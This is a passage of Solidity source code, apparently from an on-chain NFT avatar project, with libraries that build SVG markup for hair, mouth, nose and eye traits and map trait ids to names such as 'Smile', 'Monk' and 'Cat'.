d="M196,124.6c0,0-30.3-37.5-20.6-77.7c0,0,0.7,18,12,25.1c0,0-8.6-13.4-0.3-33.4c0,0,2.7,15.8,10.7,23.4c0,0-2.7-18.4,2.2-29.6c0,0,9.7,23.2,13.9,26.3c0,0-6.5-17.2,5.4-27.7c0,0-0.8,18.6,9.8,25.4c0,0-2.7-11,4-18.9c0,0,1.2,25.1,6.6,29.4c0,0-2.7-12,2.1-20c0,0,6,24,8.6,28.5c-9.1-2.6-17.9-3.2-26.6-3C223.7,72.3,198,80.8,196,124.6z"/>', crop() ) ); } function shortHairs(string memory hairsColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", hairsColor, "' d='M287.3,207.1c0,0-0.4-17.7-3.4-20.6c-3.1-2.9-7.3-8.7-7.3-8.7s0.6-24.8-2.9-31.8c-3.6-7-3.9-24.3-35-23.6c-30.3,0.7-42.5,5.4-42.5,5.4s-14.2-8.2-43-3.8c-19.3,4.9-17.2,50.1-17.2,50.1s-5.6,9.5-6.2,14.8c-0.6,5.3-0.3,8.3-0.3,8.3c0.9-0.2-19.1-126.3,86.7-126.8c108.4-0.3,87.1,121.7,85.1,122.4C294.5,191.6,293.7,198,287.3,207.1z'/>", '<path fill="#212121" stroke="#000000" stroke-miterlimit="10" d="M134.9,129.3c1-8.7,2.8-19.9,2.6-24.1 c1.1,2,4.4,6.1,4.7,6.9c2-15.1,3.9-18.6,6.6-28.2c0.1,5.2,0.4,6.1,4.6,11.9c0.1-7,4.5-17.6,8.8-24.3c0.6,3,4,8.2,5.8,10.7 c2.4-7,8.6-13.4,14.5-17.9c-0.3,3.4-0.1,6.8,0.7,10.1c4.9-5.1,7.1-8.7,15.6-15.4c-0.2,4.5,1.8,9,5.1,12c4.1-3.7,7.7-8,10.6-12.7 c0.6,3.7,1.4,7.3,2.5,10.8c2.6-4.6,7.9-8.4,12.4-11.3c1.5,3.5,1.3,11,5.9,11.7c7.1,1.1,10-3.3,11.4-10.1 c2.2,6.6,4.8,12.5,9.4,17.7c4.2,0.5,5.7-5.6,4.2-9c4.2,5.8,8.4,11.6,12.5,17.4c0.7-2.9,0.9-5.9,0.6-8.8 c3.4,7.6,9.1,16.7,13.6,23.6c0-1.9,1.8-8.5,1.8-10.4c2.6,7.3,7.7,17.9,10.3,36.6c0.2,1.1-23.8,7.5-28.8,10.1 c-1.2-2.3-2.2-4.3-6.2-8c-12.1-5.7-35.6-7.9-54.5-2.2c-16.3,4.8-21.5-2.3-31.3-3.1c-11.8-1.8-31.1-1.7-36.2,10.7 C139.6,133.6,137.9,132.2,134.9,129.3z"/>', '<polygon fill="#212121" points="270.7,138.4 300.2,129 300.7,131.1 271.3,139.9"/>', '<polygon fill="#212121" points="141.1,137 134,131.7 133.8,132.9 140.8,137.7 "/>', crop() ) ); } /// @dev Generate crop SVG function crop() private pure returns (string memory) { return string( abi.encodePacked( '<g id="Light" opacity="0.14">', '<ellipse transform="matrix(0.7071 -0.7071 0.7071 0.7071 0.1603 226.5965)" fill="#FFFFFF" cx="273.6" cy="113.1" rx="1.4" ry="5.3"/>', '<ellipse transform="matrix(0.5535 -0.8328 0.8328 0.5535 32.0969 254.4865)" fill="#FFFFFF" cx="253.4" cy="97.3" rx="4.2" ry="16.3"/>', "</g>", '<path opacity="0.05" fill-rule="evenodd" clip-rule="evenodd" d="M276.4,163.7c0,0,0.2-1.9,0.2,14.1c0,0,6.5,7.5,8.5,11s2.6,17.8,2.6,17.8l7-11.2c0,0,1.8-3.2,6.6-2.6c0,0,5.6-13.1,2.2-42.2C303.5,150.6,294.2,162.1,276.4,163.7z"/>', '<path opacity="0.1" fill-rule="evenodd" clip-rule="evenodd" d="M129.2,194.4c0,0-0.7-8.9,6.8-20.3c0,0-0.2-21.2,1.3-22.9c-3.7,0-6.7-0.5-7.7-2.4C129.6,148.8,125.8,181.5,129.2,194.4z"/>' ) ); } /// @dev Generate monk SVG function monk() private pure returns (string memory) { return string( abi.encodePacked( '<path opacity="0.36" fill="#6E5454" stroke="#8A8A8A" stroke-width="0.5" stroke-miterlimit="10" d="M286.8,206.8c0,0,0.1-17.4-2.9-20.3c-3.1-2.9-7.3-8.7-7.3-8.7s0.6-24.8-2.9-31.8c-3.6-7-3.9-24.3-35-23.6c-30.3,0.7-42.5,5.4-42.5,5.4s-14.2-8.2-43-3.8c-19.3,4.9-17.2,50.1-17.2,50.1s-5.6,9.5-6.2,14.8c-0.6,5.3-0.3,8.3-0.3,8.3S110.3,72.1,216.1,70.4c108.4-1.7,87.1,121.7,85.1,122.4C294.7,190.1,293.2,197.7,286.8,206.8z"/>', '<g id="Bald" opacity="0.33">', '<ellipse transform="matrix(0.7071 -0.7071 0.7071 0.7071 0.1603 226.5965)" fill="#FFFFFF" cx="273.6" cy="113.1" rx="1.4" ry="5.3"/>', '<ellipse transform="matrix(0.5535 -0.8328 0.8328 0.5535 32.0969 254.4865)" fill="#FFFFFF" cx="253.4" cy="97.3" rx="4.2" ry="16.3"/>', "</g>" ) ); } /// @notice Return the hair cut name of the given id /// @param id The hair Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic Brown"; } else if (id == 2) { name = "Classic Black"; } else if (id == 3) { name = "Classic Gray"; } else if (id == 4) { name = "Classic White"; } else if (id == 5) { name = "Classic Blue"; } else if (id == 6) { name = "Classic Yellow"; } else if (id == 7) { name = "Classic Pink"; } else if (id == 8) { name = "Classic Red"; } else if (id == 9) { name = "Classic Purple"; } else if (id == 10) { name = "Classic Green"; } else if (id == 11) { name = "Classic Saiki"; } else if (id == 12) { name = "Classic Brown"; } else if (id == 13) { name = "Classic 2 Black"; } else if (id == 14) { name = "Classic 2 Gray"; } else if (id == 15) { name = "Classic 2 White"; } else if (id == 16) { name = "Classic 2 Blue"; } else if (id == 17) { name = "Classic 2 Yellow"; } else if (id == 18) { name = "Classic 2 Pink"; } else if (id == 19) { name = "Classic 2 Red"; } else if (id == 20) { name = "Classic 2 Purple"; } else if (id == 21) { name = "Classic 2 Green"; } else if (id == 22) { name = "Classic 2 Saiki"; } else if (id == 23) { name = "Short Black"; } else if (id == 24) { name = "Short Blue"; } else if (id == 25) { name = "Short Pink"; } else if (id == 26) { name = "Short White"; } else if (id == 27) { name = "Spike Black"; } else if (id == 28) { name = "Spike Blue"; } else if (id == 29) { name = "Spike Pink"; } else if (id == 30) { name = "Spike White"; } else if (id == 31) { name = "Monk"; } else if (id == 32) { name = "Nihon"; } else if (id == 33) { name = "Bald"; } } /// @dev The base SVG for the hair function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Hair">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Mouth SVG generator library MouthDetail { /// @dev Mouth N°1 => Neutral function item_1() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M178.3,262.7c3.3-0.2,6.6-0.1,9.9,0c3.3,0.1,6.6,0.3,9.8,0.8c-3.3,0.3-6.6,0.3-9.9,0.2C184.8,263.6,181.5,263.3,178.3,262.7z"/>', '<path d="M201.9,263.4c1.2-0.1,2.3-0.1,3.5-0.2l3.5-0.2l6.9-0.3c2.3-0.1,4.6-0.2,6.9-0.4c1.2-0.1,2.3-0.2,3.5-0.3l1.7-0.2c0.6-0.1,1.1-0.2,1.7-0.2c-2.2,0.8-4.5,1.1-6.8,1.4s-4.6,0.5-7,0.6c-2.3,0.1-4.6,0.2-7,0.1C206.6,263.7,204.3,263.6,201.9,263.4z"/>', '<path d="M195.8,271.8c0.8,0.5,1.8,0.8,2.7,1s1.8,0.4,2.7,0.5s1.8,0,2.8-0.1c0.9-0.1,1.8-0.5,2.8-0.8c-0.7,0.7-1.6,1.3-2.6,1.6c-1,0.3-2,0.5-3,0.4s-2-0.3-2.9-0.8C197.3,273.2,196.4,272.7,195.8,271.8z"/>' ) ) ); } /// @dev Mouth N°2 => Smile function item_2() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M178.2,259.6c1.6,0.5,3.3,0.9,4.9,1.3c1.6,0.4,3.3,0.8,4.9,1.1c1.6,0.4,3.3,0.6,4.9,0.9c1.7,0.3,3.3,0.4,5,0.6c-1.7,0.2-3.4,0.3-5.1,0.2c-1.7-0.1-3.4-0.3-5.1-0.7C184.5,262.3,181.2,261.2,178.2,259.6z"/>', '<path d="M201.9,263.4l7-0.6c2.3-0.2,4.7-0.4,7-0.7c2.3-0.2,4.6-0.6,6.9-1c0.6-0.1,1.2-0.2,1.7-0.3l1.7-0.4l1.7-0.5l1.6-0.7c-0.5,0.3-1,0.7-1.5,0.9l-1.6,0.8c-1.1,0.4-2.2,0.8-3.4,1.1c-2.3,0.6-4.6,1-7,1.3s-4.7,0.4-7.1,0.5C206.7,263.6,204.3,263.6,201.9,263.4z"/>', '<path d="M195.8,271.8c0.8,0.5,1.8,0.8,2.7,1s1.8,0.4,2.7,0.5s1.8,0,2.8-0.1c0.9-0.1,1.8-0.5,2.8-0.8c-0.7,0.7-1.6,1.3-2.6,1.6c-1,0.3-2,0.5-3,0.4s-2-0.3-2.9-0.8C197.3,273.2,196.4,272.7,195.8,271.8z"/>' ) ) ); } /// @dev Mouth N°3 => Sulk function item_3() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M179.2,263.2c0,0,24.5,3.1,43.3-0.6"/>', '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M176.7,256.8c0,0,6.7,6.8-0.6,11"/>', '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M225.6,256.9c0,0-6.5,7,1,11"/>' ) ) ); } /// @dev Mouth N°4 => Poker function item_4() public pure returns (string memory) { return base( string( abi.encodePacked( '<line id="Poker" fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="180" y1="263" x2="226" y2="263"/>' ) ) ); } /// @dev Mouth N°5 => Angry function item_5() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FFFFFF" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M207.5,257.1c-7,1.4-17.3,0.3-21-0.9c-4-1.2-7.7,3.1-8.6,7.2c-0.5,2.5-1.2,7.4,3.4,10.1c5.9,2.4,5.6,0.1,9.2-1.9c3.4-2,10-1.1,15.3,1.9c5.4,3,13.4,2.2,17.9-0.4c2.9-1.7,3.3-7.6-4.2-14.1C217.3,257.2,215.5,255.5,207.5,257.1"/>', '<path fill="#FFFFFF" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M205.9,265.5l4.1-2.2c0,0,3.7,2.9,5,3s4.9-3.2,4.9-3.2l3.9,1.4"/>', '<polyline fill="#FFFFFF" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" points="177.8,265.3 180.2,263.4 183.3,265.5 186,265.4"/>' ) ) ); } /// @dev Mouth N°6 => Big Smile function item_6() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FFFFFF" stroke="#000000" stroke-miterlimit="10" d="M238.1,255.9c-26.1,4-68.5,0.3-68.5,0.3C170.7,256.3,199.6,296.4,238.1,255.9"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="#FFFFFF" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M176.4,262.7c0,0,7.1,2.2,12,2.1"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="#FFFFFF" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M230.6,262.8c0,0-10.4,2.1-17.7,1.8"/>' ) ) ); } /// @dev Mouth N°7 => Evil function item_7() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FFFFFF" stroke="#000000" stroke-miterlimit="10" d="M174.7,261.7c0,0,16.1-1.1,17.5-1.5s34.5,6.3,36.5,5.5s4.6-1.9,4.6-1.9s-14.1,8-43.6,7.9c0,0-3.9-0.7-4.7-1.8S177.1,262.1,174.7,261.7z"/>', '<polyline fill="none" stroke="#000000" stroke-miterlimit="10" points="181.6,266.7 185.5,265.3 189.1,266.5 190.3,265.9"/>', '<polyline fill="none" stroke="#000000" stroke-miterlimit="10" points="198.2,267 206.3,266.2 209.6,267.7 213.9,266.3 216.9,267.5 225.3,267"/>' ) ) ); } /// @dev Mouth N°8 => Tongue function item_8() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FF155D" d="M206.5,263.1c0,0,4,11.2,12.5,9.8c11.3-1.8,6.3-11.8,6.3-11.8L206.5,263.1z"/>', '<line fill="none" stroke="#73093E" stroke-miterlimit="10" x1="216.7" y1="262.5" x2="218.5" y2="267.3"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M201.9,263.4c0,0,20.7,0.1,27.7-4.3"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M178.2,259.6c0,0,9.9,4.2,19.8,3.9"/>' ) ) ); } /// @dev Mouth N°9 => Drool function item_9() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FEBCA6" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" d="M190.4,257.5c2.5,0.6,5.1,0.8,7.7,0.5l17-2.1c0,0,13.3-1.8,12,3.6c-1.3,5.4-2.4,9.3-5.3,9.8c0,0,3.2,9.7-2.9,9c-3.7-0.4-2.4-7.7-2.4-7.7s-15.4,4.6-33.1-1.7c-1.8-0.6-3.6-2.6-4.4-3.9c-5.1-7.7-2-9.5-2-9.5S175.9,253.8,190.4,257.5z"/>' ) ) ); } /// @dev Mouth N°10 => O function item_10() public pure returns (string memory) { return base( string( abi.encodePacked( '<ellipse transform="matrix(0.9952 -9.745440e-02 9.745440e-02 0.9952 -24.6525 20.6528)" opacity="0.84" fill-rule="evenodd" clip-rule="evenodd" cx="199.1" cy="262.7" rx="3.2" ry="4.6"/>' ) ) ); } /// @dev Mouth N°11 => Dubu function item_11() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-width="0.75" stroke-linecap="round" stroke-miterlimit="10" d="M204.2,262c-8.9-7-25.1-3.5-4.6,6.6c-22-3.8-3.2,11.9,4.8,6"/>' ) ) ); } /// @dev Mouth N°12 => Stitch function item_12() public pure returns (string memory) { return base( string( abi.encodePacked( '<g opacity="0.84" fill-rule="evenodd" clip-rule="evenodd">', '<ellipse transform="matrix(0.9994 -3.403963e-02 3.403963e-02 0.9994 -8.8992 6.2667)" cx="179.6" cy="264.5" rx="2.3" ry="4.3"/>', '<ellipse transform="matrix(0.9996 -2.866329e-02 2.866329e-02 0.9996 -7.485 5.0442)" cx="172.2" cy="263.6" rx="1.5" ry="2.9"/>', '<ellipse transform="matrix(0.9996 -2.866329e-02 2.866329e-02 0.9996 -7.4594 6.6264)" cx="227.4" cy="263.5" rx="1.5" ry="2.9"/>', '<ellipse transform="matrix(0.9994 -3.403963e-02 3.403963e-02 0.9994 -8.8828 7.6318)" cx="219.7" cy="264.7" rx="2.5" ry="4.7"/>', '<ellipse transform="matrix(0.9994 -3.403963e-02 3.403963e-02 0.9994 -8.9179 6.57)" cx="188.5" cy="265.2" rx="2.9" ry="5.4"/>', '<ellipse transform="matrix(0.9994 -3.403963e-02 3.403963e-02 0.9994 -8.9153 7.3225)" cx="210.6" cy="265.5" rx="2.9" ry="5.4"/>', '<ellipse transform="matrix(0.9992 -3.983298e-02 3.983298e-02 0.9992 -10.4094 8.1532)" cx="199.4" cy="265.3" rx="4" ry="7.2"/>', "</g>" ) ) ); } /// @dev Mouth N°13 => Uwu function item_13() public pure returns (string memory) { return base( string( abi.encodePacked( '<polyline fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" points="212.7,262.9 216,266.5 217.5,261.7"/>', '<path fill="none" stroke="#000000" stroke-width="0.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M176.4,256c0,0,5.7,13.4,23.1,4.2"/>', '<path fill="none" stroke="#000000" stroke-width="0.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M224.7,254.8c0,0-9.5,15-25.2,5.4"/>' ) ) ); } /// @dev Mouth N°14 => Monster function item_14() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FFFFFF" stroke="#000000" stroke-width="0.75" stroke-miterlimit="10" d="M161.4,255c0,0,0.5,0.1,1.3,0.3 c4.2,1,39.6,8.5,84.8-0.7C247.6,254.7,198.9,306.9,161.4,255z"/>', '<polyline fill="none" stroke="#000000" stroke-width="0.75" stroke-linejoin="round" stroke-miterlimit="10" points="165.1,258.9 167,256.3 170.3,264.6 175.4,257.7 179.2,271.9 187,259.1 190.8,276.5 197,259.7 202.1,277.5 207.8,259.1 213.8,275.4 217.9,258.7 224.1,271.2 226.5,257.9 232.7,266.2 235.1,256.8 238.6,262.1 241.3,255.8 243.8,257.6"/>' ) ) ); } /// @notice Return the mouth name of the given id /// @param id The mouth Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Neutral"; } else if (id == 2) { name = "Smile"; } else if (id == 3) { name = "Sulk"; } else if (id == 4) { name = "Poker"; } else if (id == 5) { name = "Angry"; } else if (id == 6) { name = "Big Smile"; } else if (id == 7) { name = "Evil"; } else if (id == 8) { name = "Tongue"; } else if (id == 9) { name = "Drool"; } else if (id == 10) { name = "O"; } else if (id == 11) { name = "Dubu"; } else if (id == 12) { name = "Stitch"; } else if (id == 13) { name = "Uwu"; } else if (id == 14) { name = "Monster"; } } /// @dev The base SVG for the mouth function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Mouth">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Nose SVG generator library NoseDetail { /// @dev Nose N°1 => Classic function item_1() public pure returns (string memory) { return ""; } /// @dev Nose N°2 => Bleeding function item_2() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#E90000" d="M205.8,254.1C205.8,254.1,205.9,254.1,205.8,254.1c0.1,0,0.1,0.1,0.1,0.1c0,0.2,0,0.5-0.2,0.7c-0.1,0.1-0.3,0.1-0.4,0.1c-0.4,0-0.8,0.1-1.2,0.1c-0.2,0-0.7,0.2-0.8,0s0.1-0.4,0.2-0.5c0.3-0.2,0.7-0.2,1-0.3C204.9,254.3,205.4,254.1,205.8,254.1z"/>', '<path fill="#E90000" d="M204.3,252.8c0.3-0.1,0.6-0.2,0.9-0.1c0.1,0.2,0.1,0.4,0.2,0.6c0,0.1,0,0.1,0,0.2c0,0.1-0.1,0.1-0.2,0.1c-0.7,0.2-1.4,0.3-2.1,0.5c-0.2,0-0.3,0.1-0.4-0.1c0-0.1-0.1-0.2,0-0.3c0.1-0.2,0.4-0.3,0.6-0.4C203.6,253.1,203.9,252.9,204.3,252.8z"/>', '<path fill="#FF0000" d="M204.7,240.2c0.3,1.1,0.1,2.3-0.1,3.5c-0.3,2-0.5,4.1,0,6.1c0.1,0.4,0.3,0.9,0.2,1.4c-0.2,0.9-1.1,1.3-2,1.6c-0.1,0-0.2,0.1-0.4,0.1c-0.3-0.1-0.4-0.5-0.4-0.8c-0.1-1.9,0.5-3.9,0.8-5.8c0.3-1.7,0.3-3.2-0.1-4.8c-0.1-0.5-0.3-0.9,0.1-1.3C203.4,239.7,204.6,239.4,204.7,240.2z"/>' ) ) ); } /// @notice Return the nose name of the given id /// @param id The nose Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic"; } else if (id == 2) { name = "Bleeding"; } } /// @dev The base SVG for the Nose function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Nose bonus">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; import "./constants/Colors.sol"; /// @title Eyes SVG generator library EyesDetail { /// @dev Eyes N°1 => Color White/Brown function item_1() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.BROWN); } /// @dev Eyes N°2 => Color White/Gray function item_2() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.GRAY); } /// @dev Eyes N°3 => Color White/Blue function item_3() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.BLUE); } /// @dev Eyes N°4 => Color White/Green function item_4() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.GREEN); } /// @dev Eyes N°5 => Color White/Black function item_5() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.BLACK_DEEP); } /// @dev Eyes N°6 => Color White/Yellow function item_6() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.YELLOW); } /// @dev Eyes N°7 => Color White/Red function item_7() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.RED); } /// @dev Eyes N°8 => Color White/Purple function item_8() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.PURPLE); } /// @dev Eyes N°9 => Color White/Pink function item_9() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.PINK); } /// @dev Eyes N°10 => Color White/White function item_10() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.WHITE); } /// @dev Eyes N°11 => Color Black/Blue function item_11() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.BLACK, Colors.BLUE); } /// @dev Eyes N°12 => Color Black/Yellow function item_12() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.BLACK, Colors.YELLOW); } /// @dev Eyes N°13 => Color Black/White function item_13() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.BLACK, Colors.WHITE); } /// @dev Eyes N°14 => Color Black/Red function item_14() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.BLACK, Colors.RED); } /// @dev Eyes N°15 => Blank White/White function item_15() public pure returns (string memory) { return eyesNoFillAndBlankPupils(Colors.WHITE, Colors.WHITE); } /// @dev Eyes N°16 => Blank Black/White function item_16() public pure returns (string memory) { return eyesNoFillAndBlankPupils(Colors.BLACK_DEEP, Colors.WHITE); } /// @dev Eyes N°17 => Shine (no-fill) function item_17() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path fill="#FFEE00" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" d="M161.4,195.1c1.4,7.4,1.4,7.3,8.8,8.8 c-7.4,1.4-7.3,1.4-8.8,8.8c-1.4-7.4-1.4-7.3-8.8-8.8C160,202.4,159.9,202.5,161.4,195.1z"/>', '<path fill="#FFEE00" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" d="M236.1,194.9c1.4,7.4,1.4,7.3,8.8,8.8 c-7.4,1.4-7.3,1.4-8.8,8.8c-1.4-7.4-1.4-7.3-8.8-8.8C234.8,202.3,234.7,202.3,236.1,194.9z"/>' ) ) ); } /// @dev Eyes N°18 => Stun (no-fill) function item_18() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path d="M233.6,205.2c0.2-0.8,0.6-1.7,1.3-2.3c0.4-0.3,0.9-0.5,1.3-0.4c0.5,0.1,0.9,0.4,1.2,0.8c0.5,0.8,0.6,1.8,0.6,2.7c0,0.9-0.4,1.9-1.1,2.6c-0.7,0.7-1.7,1.1-2.7,1c-1-0.1-1.8-0.7-2.5-1.2c-0.7-0.5-1.4-1.2-1.9-2c-0.5-0.8-0.8-1.8-0.7-2.8c0.1-1,0.5-1.9,1.1-2.6c0.6-0.7,1.4-1.3,2.2-1.7c1.7-0.8,3.6-1,5.3-0.6c0.9,0.2,1.8,0.5,2.5,1.1c0.7,0.6,1.2,1.5,1.3,2.4c0.3,1.8-0.3,3.7-1.4,4.9c1-1.4,1.4-3.2,1-4.8c-0.2-0.8-0.6-1.5-1.3-2c-0.6-0.5-1.4-0.8-2.2-0.9c-1.6-0.2-3.4,0-4.8,0.7c-1.4,0.7-2.7,2-2.8,3.5c-0.2,1.5,0.9,3,2.2,4c0.7,0.5,1.3,1,2.1,1.1c0.7,0.1,1.5-0.2,2.1-0.7c0.6-0.5,0.9-1.3,1-2.1c0.1-0.8,0-1.7-0.4-2.3c-0.2-0.3-0.5-0.6-0.8-0.7c-0.4-0.1-0.8,0-1.1,0.2C234.4,203.6,233.9,204.4,233.6,205.2z"/>', '<path d="M160.2,204.8c0.7-0.4,1.6-0.8,2.5-0.7c0.4,0,0.9,0.3,1.2,0.7c0.3,0.4,0.3,0.9,0.2,1.4c-0.2,0.9-0.8,1.7-1.5,2.3c-0.7,0.6-1.6,1.1-2.6,1c-1,0-2-0.4-2.6-1.2c-0.7-0.8-0.8-1.8-1-2.6c-0.1-0.9-0.1-1.8,0.1-2.8c0.2-0.9,0.7-1.8,1.5-2.4c0.8-0.6,1.7-1,2.7-1c0.9-0.1,1.9,0.1,2.7,0.4c1.7,0.6,3.2,1.8,4.2,3.3c0.5,0.7,0.9,1.6,1,2.6c0.1,0.9-0.2,1.9-0.8,2.6c-1.1,1.5-2.8,2.4-4.5,2.5c1.7-0.3,3.3-1.3,4.1-2.7c0.4-0.7,0.6-1.5,0.5-2.3c-0.1-0.8-0.5-1.5-1-2.2c-1-1.3-2.4-2.4-3.9-2.9c-1.5-0.5-3.3-0.5-4.5,0.5c-1.2,1-1.5,2.7-1.3,4.3c0.1,0.8,0.2,1.6,0.7,2.2c0.4,0.6,1.2,0.9,1.9,1c0.8,0,1.5-0.2,2.2-0.8c0.6-0.5,1.2-1.2,1.4-1.9c0.1-0.4,0.1-0.8-0.1-1.1c-0.2-0.3-0.5-0.6-0.9-0.6C161.9,204.2,161,204.4,160.2,204.8z"/>' ) ) ); } /// @dev Eyes N°19 => Squint (no-fill) function item_19() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path d="M167.3,203.7c0.1,7.7-12,7.7-11.9,0C155.3,196,167.4,196,167.3,203.7z"/>', '<path d="M244.8,205.6c-1.3,7.8-13.5,5.6-12-2.2C234.2,195.6,246.4,197.9,244.8,205.6z"/>' ) ) ); } /// @dev Eyes N°20 => Shock (no-fill) function item_20() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path fill-rule="evenodd" clip-rule="evenodd" d="M163.9,204c0,2.7-4.2,2.7-4.1,0C159.7,201.3,163.9,201.3,163.9,204z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" d="M236.7,204c0,2.7-4.2,2.7-4.1,0C232.5,201.3,236.7,201.3,236.7,204z"/>' ) ) ); } /// @dev Eyes N°21 => Cat (no-fill) function item_21() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path d="M238.4,204.2c0.1,13.1-4.5,13.1-4.5,0C233.8,191.2,238.4,191.2,238.4,204.2z"/>', '<path d="M164.8,204.2c0.1,13-4.5,13-4.5,0C160.2,191.2,164.8,191.2,164.8,204.2z"/>' ) ) ); } /// @dev Eyes N°22 => Ether (no-fill) function item_22() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path d="M161.7,206.4l-4.6-2.2l4.6,8l4.6-8L161.7,206.4z"/>', '<path d="M165.8,202.6l-4.1-7.1l-4.1,7.1l4.1-1.9L165.8,202.6z"/>', '<path d="M157.9,203.5l3.7,1.8l3.8-1.8l-3.8-1.8L157.9,203.5z"/>', '<path d="M236.1,206.6l-4.6-2.2l4.6,8l4.6-8L236.1,206.6z"/>', '<path d="M240.2,202.8l-4.1-7.1l-4.1,7.1l4.1-1.9L240.2,202.8z"/>', '<path d="M232.4,203.7l3.7,1.8l3.8-1.8l-3.8-1.8L232.4,203.7z"/>' ) ) ); } /// @dev Eyes N°23 => Feels function item_23() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M251.1,201.4c0.7,0.6,1,2.2,1,2.7c-0.1-0.4-1.4-1.1-2.2-1.7c-0.2,0.1-0.4,0.4-0.6,0.5c0.5,0.7,0.7,2,0.7,2.5c-0.1-0.4-1.3-1.1-2.1-1.6c-2.7,1.7-6.4,3.2-11.5,3.7c-8.1,0.7-16.3-1.7-20.9-6.4c5.9,3.1,13.4,4.5,20.9,3.8c6.6-0.6,12.7-2.9,17-6.3C253.4,198.9,252.6,200.1,251.1,201.4z"/>', '<path d="M250,205.6L250,205.6C250.1,205.9,250.1,205.8,250,205.6z"/>', '<path d="M252.1,204.2L252.1,204.2C252.2,204.5,252.2,204.4,252.1,204.2z"/>', '<path d="M162.9,207.9c-4.1-0.4-8-1.4-11.2-2.9c-0.7,0.3-3.1,1.4-3.3,1.9c0.1-0.6,0.3-2.2,1.3-2.8c0.1-0.1,0.2-0.1,0.3-0.1c-0.2-0.1-0.5-0.3-0.7-0.4c-0.8,0.4-3,1.3-3.2,1.9c0.1-0.6,0.3-2.2,1.3-2.8c0.1-0.1,0.3-0.1,0.5-0.1c-0.9-0.7-1.7-1.6-2.4-2.4c1.5,1.1,6.9,4.2,17.4,5.3c11.9,1.2,18.3-4,19.8-4.7C177.7,205.3,171.4,208.8,162.9,207.9z"/>', '<path d="M148.5,207L148.5,207C148.5,207.1,148.5,207.2,148.5,207z"/>', '<path d="M146.2,205.6L146.2,205.6C146.2,205.7,146.2,205.7,146.2,205.6z"/>' ) ) ); } /// @dev Eyes N°24 => Happy function item_24() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M251.5,203.5c0.7-0.7,0.9-2.5,0.9-3.2c-0.1,0.5-1.3,1.4-2.2,1.9c-0.2-0.2-0.4-0.4-0.6-0.6c0.5-0.8,0.7-2.4,0.7-3 